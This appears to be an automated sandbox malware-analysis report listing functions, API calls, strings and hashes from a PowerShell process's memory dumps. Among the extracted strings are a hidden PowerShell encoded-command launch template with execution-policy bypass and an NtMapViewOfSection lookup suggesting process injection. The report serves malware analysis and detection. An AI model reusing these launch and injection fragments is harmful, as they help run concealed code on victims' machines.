Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

malloc.LIBCMT ref: 0000022EFA0CF01D

Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF318
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF31D

malloc.LIBCMT ref: 0000022EFA0CF03F
_snprintf.LIBCMT ref: 0000022EFA0CF05A

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

malloc.LIBCMT ref: 0000022EFA0CF075

Strings

HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d, xrefs: 0000022EFA0CF044

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$AllocHeap_invalid_parameter_noinfo_snprintf
String ID: HTTP/1.1 200 OKContent-Type: application/octet-streamContent-Length: %d
API String ID: 3518644649-2739389480
Opcode ID: afba7a99536ed02a45dac5d500ee5d86b7940ec366185a31927e6e9a708e28fc
Instruction ID: de8ad4161009a9a66578c2b90eee8c1ca75821893296401fae313cb4118ffb79
Opcode Fuzzy Hash: afba7a99536ed02a45dac5d500ee5d86b7940ec366185a31927e6e9a708e28fc
Instruction Fuzzy Hash: 2601C032701B9052EE44DB92B9487596799F78CFE0F164229EEA94BFE6DF3CC4418780

Function 0000022EF9B225F4 Relevance: 8.9, APIs: 7, Instructions: 181stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strchr.LIBCMT ref: 0000022EF9B2262E
strchr.LIBCMT ref: 0000022EF9B2264C
malloc.LIBCMT ref: 0000022EF9B22664
malloc.LIBCMT ref: 0000022EF9B22671
rand.LIBCMT ref: 0000022EF9B2273D
free.LIBCMT ref: 0000022EF9B2285B
free.LIBCMT ref: 0000022EF9B22863

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: freemallocstrchr$rand
String ID:
API String ID: 1305919620-0
Opcode ID: f55c98597b31e9256bdda085e271814e8bdd530284bc77f6856305a025606a71
Instruction ID: 97e985e95771c4031f342cfc85e0bffceae314a39101b192ced222eaafa0b155
Opcode Fuzzy Hash: f55c98597b31e9256bdda085e271814e8bdd530284bc77f6856305a025606a71
Instruction Fuzzy Hash: 2F713951608BC461FE3B9B69A5283EAA390EFA5BC4F094114DFC957FA6EE3CC1429704

Function 0000022EFA0C31F4 Relevance: 8.9, APIs: 7, Instructions: 181stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strchr.LIBCMT ref: 0000022EFA0C322E
strchr.LIBCMT ref: 0000022EFA0C324C
malloc.LIBCMT ref: 0000022EFA0C3264
malloc.LIBCMT ref: 0000022EFA0C3271
rand.LIBCMT ref: 0000022EFA0C333D
free.LIBCMT ref: 0000022EFA0C345B
free.LIBCMT ref: 0000022EFA0C3463

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: freemallocstrchr$rand
String ID:
API String ID: 1305919620-0
Opcode ID: 5dd9697f37be70f43a9dfb8e879823c33dc0761040d61eac182ad5eba971c26a
Instruction ID: 02f93262ffad0627e5199d4f47ccbb59b089e5484e2252b3d22d67171e976ef6
Opcode Fuzzy Hash: 5dd9697f37be70f43a9dfb8e879823c33dc0761040d61eac182ad5eba971c26a
Instruction Fuzzy Hash: A0712B62614BC061FE269FA9B1093EAA390EF8DBC4F095110DF850BFB6EE2CC1439311

Function 0000022EF9B13570 Relevance: 8.9, APIs: 7, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B135BD

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

malloc.LIBCMT ref: 0000022EF9B135C8

Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E718
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E71D

free.LIBCMT ref: 0000022EF9B136AF
free.LIBCMT ref: 0000022EF9B136B7
free.LIBCMT ref: 0000022EF9B136BF
free.LIBCMT ref: 0000022EF9B136CB
free.LIBCMT ref: 0000022EF9B136D8

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 3866d312ddc7406d2c13ac3d10959d9d3de063b9a6b1dce899036bf231b32379
Instruction ID: 29ca55ed767d09f3a575d81c00ab8f8361ab65be5445805038fd30de42f8fbab
Opcode Fuzzy Hash: 3866d312ddc7406d2c13ac3d10959d9d3de063b9a6b1dce899036bf231b32379
Instruction Fuzzy Hash: CD41F321304791A7EE3ADFA796783596790F729BC0F460024DE8647F45EF34D462D708

Function 0000022EFA0B4170 Relevance: 8.9, APIs: 7, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0B41BD

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

malloc.LIBCMT ref: 0000022EFA0B41C8

Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF318
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF31D

free.LIBCMT ref: 0000022EFA0B42AF
free.LIBCMT ref: 0000022EFA0B42B7
free.LIBCMT ref: 0000022EFA0B42BF
free.LIBCMT ref: 0000022EFA0B42CB
free.LIBCMT ref: 0000022EFA0B42D8

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: 6118db362e25067081320d314af47720c2282f168c26b715ed83619844a1cd4b
Instruction ID: b87dae5485c62137a367097813e264857241f63bbd5781ee6c6f407a566d9861
Opcode Fuzzy Hash: 6118db362e25067081320d314af47720c2282f168c26b715ed83619844a1cd4b
Instruction Fuzzy Hash: 0D41E62930078167EE559BE6AB6835A2750B74DBC0F824120DF458FF65EF3CD522E300

Function 0000022EFA0BF274 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 0000022EFA0BF2ED
htonl.WS2_32 ref: 0000022EFA0BF2F7
malloc.LIBCMT ref: 0000022EFA0BF310
free.LIBCMT ref: 0000022EFA0BF37D

Strings

zyxwvutsrqponmlk, xrefs: 0000022EFA0BF34C

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: htonl$freemalloc
String ID: zyxwvutsrqponmlk
API String ID: 1249573706-3884694604
Opcode ID: 71d646e4bb8b7e31db9a3308653b2d67bec3fe39b167032709c668510024000a
Instruction ID: 8233d111adf7a6d6ee80dbb401b54e1ddfc8297fa45477926144948c214994d9
Opcode Fuzzy Hash: 71d646e4bb8b7e31db9a3308653b2d67bec3fe39b167032709c668510024000a
Instruction Fuzzy Hash: 2B31E86230078062EF14DAF6B76936966D1978DBC0F064434AE598BFF7EE3CC5069300

Function 0000022EFA0C3FA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C3FE7
GetProcAddress.KERNEL32 ref: 0000022EFA0C3FF7
GetLastError.KERNEL32 ref: 0000022EFA0C40BF

Part of subcall function 0000022EFA0CCC00: GetCurrentProcess.KERNEL32 ref: 0000022EFA0CCC8D

Part of subcall function 0000022EFA0CD134: GetCurrentProcess.KERNEL32 ref: 0000022EFA0CD161

Strings

NtMapViewOfSection, xrefs: 0000022EFA0C3FED
ntdll.dll, xrefs: 0000022EFA0C3FD9

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressErrorHandleLastModuleProc
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 1006775078-3170647572
Opcode ID: 4efd516be26a68cc1ab5fab53fe02ed59a35285f2b4b3cec42098ec83d9277dd
Instruction ID: 139b2b0778726e54c3f959749e9e83c245eea79d6125f25cf8876052a20c418a
Opcode Fuzzy Hash: 4efd516be26a68cc1ab5fab53fe02ed59a35285f2b4b3cec42098ec83d9277dd
Instruction Fuzzy Hash: 9E31AF22701744A6EF10DBA1F59D76A63A0F78CBA4F150329AE690BFE6DF7CC4459700

Function 0000022EF9B2B630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_time64.LIBCMT ref: 0000022EF9B2B654

Part of subcall function 0000022EF9B2F84C: _getptd.LIBCMT ref: 0000022EF9B2F854

malloc.LIBCMT ref: 0000022EF9B2B69C
strtok.LIBCMT ref: 0000022EF9B2B700
strtok.LIBCMT ref: 0000022EF9B2B711

Strings

eThreadpoolTimer, xrefs: 0000022EF9B2B6DA

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: strtok$_getptd_time64malloc
String ID: eThreadpoolTimer
API String ID: 1522986614-2707337283
Opcode ID: b02d7519bf37bc4b38ca8186062a8fc85f913fef5048514e0fa6af22142f2d69
Instruction ID: a7d6e6c880b89699795adb2a0c8c7abc9ec0ce774170150333f7343b13a78cb7
Opcode Fuzzy Hash: b02d7519bf37bc4b38ca8186062a8fc85f913fef5048514e0fa6af22142f2d69
Instruction Fuzzy Hash: 5D21D8726007A491EF22DF92A2AC65D77A8F765BD4F174225EF9A43B81CF34C441C784

Function 0000022EF9B213B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B213D2

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

_snprintf.LIBCMT ref: 0000022EF9B213F1

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

remove.LIBCMT ref: 0000022EF9B213FD
remove.LIBCMT ref: 0000022EF9B21404

Strings

uld not open process: %d (%u), xrefs: 0000022EF9B213D7

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$remove$_callnewh_invalid_parameter_noinfo_snprintfmalloc
String ID: uld not open process: %d (%u)
API String ID: 2566950902-823969559
Opcode ID: fcd4f31b16295b3d981e03ccf995d44eb940f919008a0e94d9d9162e5faefa64
Instruction ID: fae91c09c2b1cb6f4b0b1607aa7e57b1680c968e411d745365c43fa528594e5a
Opcode Fuzzy Hash: fcd4f31b16295b3d981e03ccf995d44eb940f919008a0e94d9d9162e5faefa64
Instruction Fuzzy Hash: 9AF0962160464099EA36DB92BA2539AA354E7A5BC0F594134EFC917F56CE38C4419B48

Function 0000022EFA0C1FB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0C1FD2

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

_snprintf.LIBCMT ref: 0000022EFA0C1FF1

Part of subcall function 0000022EFA0CF63C: _errno.LIBCMT ref: 0000022EFA0CF673
Part of subcall function 0000022EFA0CF63C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CF67E

remove.LIBCMT ref: 0000022EFA0C1FFD
remove.LIBCMT ref: 0000022EFA0C2004

Strings

%s\%s, xrefs: 0000022EFA0C1FD7

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$remove$AllocHeap_callnewh_invalid_parameter_noinfo_snprintfmalloc
String ID: %s\%s
API String ID: 1896346573-4073750446
Opcode ID: 6cb8594f6045d264f6437138ccf0bddfe367ceba4f17556bef63a27e1bb3b346
Instruction ID: 50edac745a484ea865a35f6e36c3248cf66036776a7d2299f186725808d7416e
Opcode Fuzzy Hash: 6cb8594f6045d264f6437138ccf0bddfe367ceba4f17556bef63a27e1bb3b346
Instruction Fuzzy Hash: 97F0B426204B41A6FB10AB91BA043AEA360E78CFC0F594121BF881FFB6DE7CC411A744

Function 0000022EFA0BCA74 Relevance: 7.8, APIs: 6, Instructions: 296COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

malloc.LIBCMT ref: 0000022EFA0BCB3B

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

Part of subcall function 0000022EFA0CC230: _time64.LIBCMT ref: 0000022EFA0CC254
Part of subcall function 0000022EFA0CC230: malloc.LIBCMT ref: 0000022EFA0CC29C
Part of subcall function 0000022EFA0CC230: strtok.LIBCMT ref: 0000022EFA0CC300
Part of subcall function 0000022EFA0CC230: strtok.LIBCMT ref: 0000022EFA0CC311

Part of subcall function 0000022EFA0C34A0: _time64.LIBCMT ref: 0000022EFA0C34AE

Part of subcall function 0000022EFA0CEAA8: malloc.LIBCMT ref: 0000022EFA0CEAF8

Part of subcall function 0000022EFA0CEAA8: realloc.LIBCMT ref: 0000022EFA0CEB07

Part of subcall function 0000022EFA0BF3C0: GetLocalTime.KERNEL32 ref: 0000022EFA0BF3DF

malloc.LIBCMT ref: 0000022EFA0BCC4A
_snprintf.LIBCMT ref: 0000022EFA0BCCC1
_snprintf.LIBCMT ref: 0000022EFA0BCCE7
free.LIBCMT ref: 0000022EFA0BCEC6

Part of subcall function 0000022EFA0CAD44: malloc.LIBCMT ref: 0000022EFA0CAD78
Part of subcall function 0000022EFA0CAD44: free.LIBCMT ref: 0000022EFA0CAF2F

Part of subcall function 0000022EFA0C8E0C: htonl.WS2_32 ref: 0000022EFA0C8E3D
Part of subcall function 0000022EFA0C8E0C: htonl.WS2_32 ref: 0000022EFA0C8E4A

_snprintf.LIBCMT ref: 0000022EFA0BCD0E

Part of subcall function 0000022EFA0CDA74: Sleep.KERNEL32 ref: 0000022EFA0CDABC
Part of subcall function 0000022EFA0CDA74: ExitThread.KERNEL32 ref: 0000022EFA0CDAC6

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errno_time64freehtonlstrtok$AllocExitHeapLocalSleepThreadTime_callnewhrealloc
String ID:
API String ID: 548016584-0
Opcode ID: 2bc6c26e52030706472ef6675f80d589c4fc0031a0de3ea0680d9c9adc863854
Instruction ID: dff07ba835178956bb172e3bc1147b4a11cc9f7cc5220783e67f1dd0712bdd58
Opcode Fuzzy Hash: 2bc6c26e52030706472ef6675f80d589c4fc0031a0de3ea0680d9c9adc863854
Instruction Fuzzy Hash: D4C1A06130028176FE18EBE1B76D7AA2295AB8D7C0F474124A9558FFF7DE3CC805A710

Function 0000022EF9B1DA8C Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0000022EF9B1DB25

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

Part of subcall function 0000022EF9B26F38: _snprintf.LIBCMT ref: 0000022EF9B270A5

_snprintf.LIBCMT ref: 0000022EF9B1DBBD

Part of subcall function 0000022EF9B22170: strchr.LIBCMT ref: 0000022EF9B221D6
Part of subcall function 0000022EF9B22170: _snprintf.LIBCMT ref: 0000022EF9B2220C

Part of subcall function 0000022EF9B2200C: strchr.LIBCMT ref: 0000022EF9B22069
Part of subcall function 0000022EF9B2200C: _snprintf.LIBCMT ref: 0000022EF9B220B3

_snprintf.LIBCMT ref: 0000022EF9B1DBD4

Strings

/'); %s, xrefs: 0000022EF9B1DB19, 0000022EF9B1DBB2
rshell -nop -exec bypass -EncodedCommand "%s", xrefs: 0000022EF9B1DACB

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf$strchr$_errno_invalid_parameter_noinfo
String ID: /'); %s$rshell -nop -exec bypass -EncodedCommand "%s"
API String ID: 199363273-1250630670
Opcode ID: 6e2045361780fadf1587795c869fcd23f7db7a84374f415de51a140654aa30c6
Instruction ID: 9c87b9ad7efa06709228b9888c77b6c38780cc2296845f6d7a71638b5ad9d5a8
Opcode Fuzzy Hash: 6e2045361780fadf1587795c869fcd23f7db7a84374f415de51a140654aa30c6
Instruction Fuzzy Hash: C671E422700684A6EF30DFA1E6687DA73A1F7A4784F424115EEC917F98DF38C549D708

Function 0000022EFA0C00F8 Relevance: 7.6, APIs: 5, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59c4576cc3bafda9519a74292b63c923cc8fd4fa7f2b0ae73700a3254d899919
Instruction ID: db1c48d5aacc14485c7253ed190bd0d92c9ba46e93644f086ec9748ad2216fc7
Opcode Fuzzy Hash: 59c4576cc3bafda9519a74292b63c923cc8fd4fa7f2b0ae73700a3254d899919
Instruction Fuzzy Hash: 9851AF62B00A40A6EF10EFA5E6453ED2360F759788F469115EE092BFA6EF3CC545D740

Function 0000022EF9B2FA2C Relevance: 7.6, APIs: 5, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B2FA64

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2FA6F
_flush.LIBCMT ref: 0000022EF9B2FB21
_fileno.LIBCMT ref: 0000022EF9B2FB42
_flsbuf.LIBCMT ref: 0000022EF9B2FB85

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flsbuf_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1640621425-0
Opcode ID: f714c1e563aa58d873e3883a1df435710c86d18d380f096712ab5731ea4c4750
Instruction ID: a926d28262253404a6a3cfe23d9947dab81c96c59464fad408c10ae7d9d7b6be
Opcode Fuzzy Hash: f714c1e563aa58d873e3883a1df435710c86d18d380f096712ab5731ea4c4750
Instruction Fuzzy Hash: E6415921300344A6FE3A8EE3577C35EBAA1F765FE1F1A82209ED547FD1D638C441A208

Function 0000022EFA0D062C Relevance: 7.6, APIs: 5, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D0664

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D066F
_flush.LIBCMT ref: 0000022EFA0D0721
_fileno.LIBCMT ref: 0000022EFA0D0742
_flsbuf.LIBCMT ref: 0000022EFA0D0785

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flsbuf_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1640621425-0
Opcode ID: 09bfc7a718d0a166204737d50e50cc52c68c3e2e3a0cecd9edcc1235780d4021
